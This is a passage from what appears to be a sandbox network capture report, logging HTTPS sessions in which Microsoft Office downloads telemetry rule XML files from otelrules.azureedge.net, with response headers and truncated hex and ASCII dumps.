2024-11-30 21:54:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:27 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ab6eb442-501e-0035-0e91-3fc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215427Z-174f7845968xr5c2hC1EWRd0hn0000000kyg000000002yq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:27 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:27 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:27 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 50bc9fea-f01e-0085-71e9-4188ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215427Z-174f7845968j6t2phC1EWRcfe8000000126g0000000072fh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:27 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:27 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:27 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 70a2a6ee-001e-00a2-299e-42d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215427Z-174f7845968qj8jrhC1EWRh41s00000011yg000000009tf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:27 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:27 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:27 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215427Z-174f784596886s2bhC1EWR743w000000120g00000000cm8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:27 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:27 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:28 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b06c69a3-d01e-008e-61b3-42387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215428Z-174f7845968swgbqhC1EWRmnb4000000121g00000000mt4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:28 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.9	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:29 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 46643e3e-501e-00a3-5ca9-42c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215429Z-174f78459685726chC1EWRsnbg000000122000000000a293 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.9	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:29 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:29 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1f887815-401e-0029-26a9-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215429Z-174f7845968swgbqhC1EWRmnb4000000124000000000cwp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:30 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.9	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:29 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:30 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 106d4033-401e-008c-3691-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215430Z-174f7845968kdththC1EWRzvxn0000000e8000000000m5v1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.9	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:30 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:30 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 8a8d0990-701e-0021-2191-3f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215430Z-174f7845968xr5c2hC1EWRd0hn0000000ks000000000m7gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:30 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.9	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:30 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:30 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f58682e1-d01e-0049-553e-40e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215430Z-174f7845968glpgnhC1EWR7uec000000127g000000004bgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:30 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.9	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:31 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 10a6c0b8-301e-0033-4f29-41fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215432Z-174f7845968pght8hC1EWRyvxg0000000570000000004ta5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.9	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:31 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c1465301-601e-0050-31f1-412c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215432Z-174f78459684db9fhC1EWRc7g4000000020000000000b5ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS 